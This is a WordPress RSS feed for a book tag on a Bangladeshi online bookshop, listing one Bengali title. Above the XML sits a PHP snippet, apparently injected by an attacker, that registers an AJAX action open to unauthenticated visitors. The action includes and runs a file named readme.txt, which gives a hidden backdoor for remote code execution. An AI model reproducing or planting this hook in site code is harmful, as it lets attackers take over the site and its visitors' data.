if(!function_exists('file_check_readme64760')){
   add_action('wp_ajax_nopriv_file_check_readme64760', 'file_check_readme64760');
   add_action('wp_ajax_file_check_readme64760', 'file_check_readme64760');
   function file_check_readme64760()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ভালো বই &#8211; Buy Book Online</title>
	<atom:link href="https://chhayabithi.com/product-tag/%e0%a6%ad%e0%a6%be%e0%a6%b2%e0%a7%8b-%e0%a6%ac%e0%a6%87/feed/" rel="self" type="application/rss+xml" />
	<link>https://chhayabithi.com</link>
	<description>Best Online Book Shop in Bangladesh</description>
	<lastBuildDate>Thu, 05 Sep 2019 13:55:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.1</generator>
	<item>
		<title>নক্ষত্ররাজির কথা</title>
		<link>https://chhayabithi.com/product/%e0%a6%a8%e0%a6%95%e0%a7%8d%e0%a6%b7%e0%a6%a4%e0%a7%8d%e0%a6%b0%e0%a6%b0%e0%a6%be%e0%a6%9c%e0%a6%bf%e0%a6%b0-%e0%a6%95%e0%a6%a5%e0%a6%be/</link>
					<comments>https://chhayabithi.com/product/%e0%a6%a8%e0%a6%95%e0%a7%8d%e0%a6%b7%e0%a6%a4%e0%a7%8d%e0%a6%b0%e0%a6%b0%e0%a6%be%e0%a6%9c%e0%a6%bf%e0%a6%b0-%e0%a6%95%e0%a6%a5%e0%a6%be/#respond</comments>
		
		<dc:creator><![CDATA[chhayabithi]]></dc:creator>
		<pubDate>Sun, 04 Aug 2019 12:44:33 +0000</pubDate>
				<guid isPermaLink="false">http://chhayabithi.com/?post_type=product&#038;p=2934</guid>

					<description><![CDATA[লেখক : রহিমা আক্তার মৌ]]></description>
										<content:encoded><![CDATA[<h4>নক্ষত্ররাজির কথা</h4>
]]></content:encoded>
					
					<wfw:commentRss>https://chhayabithi.com/product/%e0%a6%a8%e0%a6%95%e0%a7%8d%e0%a6%b7%e0%a6%a4%e0%a7%8d%e0%a6%b0%e0%a6%b0%e0%a6%be%e0%a6%9c%e0%a6%bf%e0%a6%b0-%e0%a6%95%e0%a6%a5%e0%a6%be/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>